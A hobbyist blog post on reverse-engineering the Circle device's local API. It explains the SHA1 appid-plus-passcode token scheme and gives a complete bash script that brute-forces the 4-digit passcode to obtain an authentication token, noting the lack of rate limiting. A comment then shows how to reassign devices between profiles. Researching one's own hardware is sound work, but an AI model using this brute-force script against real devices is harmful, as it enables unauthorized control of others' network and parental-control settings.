Tokens, appids, and PIN codes: starting to use the Circle API

As I’ve mentioned before, the Circle device has an “API server” (“apid”) listening on port 4567.  It’s a simple https server, responding to REST API requests with JSON-formatted data.

Most API requests require both “appid” and “token” arguments.  The “appid” identifies the client – an iPhone client will generate a unique ID when first installed, and use this appid when making requests to the Circle.

The “token” is a form of authentication.  It is generated during the initial connection process – making use of the 4-digit SMS code that was sent to your device during configuration.

Some API requests don’t require the “token” argument, for example the “SCAN” request (which scans for Wifi hotspots), since they are required during the initial setup process (and before an SMS code has been sent to you).

All registered “apps” have their appid/token stored in the file “/mnt/shares/usr/bin/app_list” (appid in first column, corresponding token in second column).  If you have serial or ssh access to the device, you can just look to that file (or add your own appid/token).  Once you have a valid appid/token, you can make API requests which require them.

Initial setup token generation process

During initial setup, the “SCAN” API is used to find your local Wifi AP, then the “UPDATE/wifi” API is used to tell the Circle device how to connect to your local hotspot.

After the Circle is connected to your Wifi, the “UPDATE/contact” API is used to tell the Circle your contact info (including your phone number).

Then, the “PASSCODE/sms” API is used.  This will generate a new 4-digit SMS passcode, and send it to Circle’s server (which will then send an SMS to your phone).

Your phone’s Circle app prompts for the 4-digit passcode.  At this point, it has enough information to ask your Circle device to generate a “token” for future use.

The “TOKEN” API is used for this.  The “TOKEN” API requires two arguments: the “appid” and a “hash”.  The “appid” is a unique ID created by the app (the iPhone Circle app, for example).  The “hash” is generated by calculating a SHA1-hash of a string containing the “appid” and 4-digit passcode concatenated together.

The “TOKEN” API sends the “appid” and “hash” to the Circle device.  The Circle device know the current 4-digit passcode (stored in “/mnt/shares/usr/bin/passcode”).  It calculates a SHA1-hash of the supplied “appid” and the 4-digit passcode stored in the “passcode” file.  It confirms that the resulting hash matches the “hash” argument sent from the client app.  If it does, it will respond with a “token”, and store the “appid” and “token” in the “/mnt/shares/usr/bin/app_list” file for future use.

Once this process is complete, the client application can make further API requests using the “appid” and “token” arguments.  The Circle device will confirm that this pair is found in “/mnt/shares/usr/bin/app_list”.  If so, it will consider the token as valid, and permit the API command.

Generating your own token

If you know the 4-digit passcode, you can generate your own token by issuing a TOKEN request with the correct “hash” argument.

To calculate the hash, just concatenate the “appid” (any string you want, as long as it’s at least 20-characters long – there may be limitations on characters like space characters) and 4-digit passcode (don’t include a “newline” or any spaces) and pass that to “sha1sum”.

For example, if your “appid” is “HackMyCircleDeviceZZ”, and the 4-digit passcode is “1234”, you can generate a valid “hash” with:

$ echo -n "HackMyCircleDeviceZZ1234" | sha1sum
3924c9b129bcc2596d76865f331e0b3fa4e218e4 -
$

In the above example, “3924c9b129bcc2596d76865f331e0b3fa4e218e4” is the “hash” argument to pass with the “TOKEN” API:

$ curl -k "https://172.16.0.102:4567/api/TOKEN?appid=HackMyCircleDeviceZZ&hash=3924c9b129bcc2596d76865f331e0b3fa4e218e4"
{
"result":"success",
"token":"8CE2DAF05C61-NfnFSQnCGDBC4Dzu-20160508.211548"
}
Brute-forcing a token/passcode

If you don’t know the 4-digit passcode (don’t have serial or ssh access in order to read “/mnt/shares/usr/bin/passcode”), you can brute-force a token (and, in the process, guess the passcode) by trying ALL passcodes.  There doesn’t seem to be any rate limiting, so you can just generate many “TOKEN” requests, with “hash” codes calculated with all 10,000 possible 4-digit passcodes.

Here’s an example bash script which will brute-force a token/passcode, by  trying every possible combination:

#! /bin/sh

# IP address of your Circle device
IPADDR=172.16.0.102

APP_ID="HackMyCircleDevice99" # min length: 20


let success=0

let counter=0
while [[ ${counter} -le 9999 ]]
do
 PIN_CODE=$(printf "%04d" ${counter})

if [[ ${counter}%10 -eq 0 ]]; then
 echo "PIN_CODE=${PIN_CODE}"
 fi

# calculate the HASH code for the token request
# TOKEN request API handler does same calculation using PIN code found in "/mnt/shares/usr/bin/passcode"
HASH=$(echo -n "${APP_ID}${PIN_CODE}" | sha1sum | cut -d' ' -f1)
# echo "HASH=${HASH}"

RESULT_STR=$(curl -k "https://${IPADDR}:4567/api/TOKEN?appid=${APP_ID}&hash=${HASH}" 2>/dev/null | tr '\n' ' ')
#
# Bad HASH:
# { "result":"fail", "error":"token request failure" }
#
# Bad APP_ID:
# { "result":"fail", "error":"token request failure - invalid app id" }
#
# Success:
# { "result":"success", "token":"8CE2DAF05C61-KsADtACaMtddJrA8-20150911.003229" }

if [[ ! -z "${RESULT_STR}" && ! -z "${RESULT_STR##*token request failure*}" ]]; then
 if [[ -z "${RESULT_STR##*invalid app id*}" ]]; then
 echo "=== Invalid APP_ID: '${APP_ID}'! ==="
 break
 fi
 if [[ -z "${RESULT_STR##*success*}" ]]; then
 regEx=".*\"token\"[^:]*:[^\"]*\"([^\"]*)\""
 if [[ "$RESULT_STR" =~ $regEx ]]; then
 TOKEN="${BASH_REMATCH[1]}"
 let success=1
 echo "=== Success! ==="
 break
 fi
 fi
 fi
# echo "RESULT='${RESULT_STR}'"

let counter=${counter}+1
done

if [[ $success -eq 1 ]]; then
 echo "APP_ID : ${APP_ID}"
 echo "PIN_CODE: ${PIN_CODE}"
 echo "TOKEN : ${TOKEN}"
fi

This bash script (available here) can guess the passcode/generate a valid token within about 40 minutes.  Most of the time is (I believe) in the https negotiation between the client/server on each “curl” command.

A nicer example (written by a friend in the “go” language) is available here: https://github.com/ndragon70/circleme/  It is faster – can guess the passcode/generate a valid token within about 25 minutes on the same machine.

 

 

 

 

 

2 thoughts on “Tokens, appids, and PIN codes: starting to use the Circle API”

  1. This is great! How can I enumerate the APIs and schemas? I’d like to write a script that changes which circle profile the device is assigned to at login. Thanks!

    1. I gave this another shot and figured out the commands to assign a device to a circle profile via a script. Follow the instructions above to obtain an auth token for your circle, then

      Query circle for the list of user profiles using,
      https://{Circle IP}:4567/api/QUERY/users?token={token}

      The JSON response contains an array of user profiles. Write down the pid for each profile you want to assign a devices to.
      {
      “result”:”success”,
      “warning”:”api incompatibility detected”,
      “users”:[
      { // profile block
      “pid”:”0″, // profile id
      “name”:”Home”,
      “relatedDevices”:[ { “uid”:”a1:b2:c3:d4:e5:f6″ },

      Find your device mac address (e.g. “a1:b2:c3:d4:e5:f6”) then assign the device to a profile using,
      https://{Circle IP}:4567/api/ADD/users/user/relatedDevices/relatedDevice?user.pid={profile pid}&mac={device mac address}&token={token}

      I created a windows event viewer task to trigger on the unlock on event id 4648. The task calls curl -k to assign the group.

Leave a Reply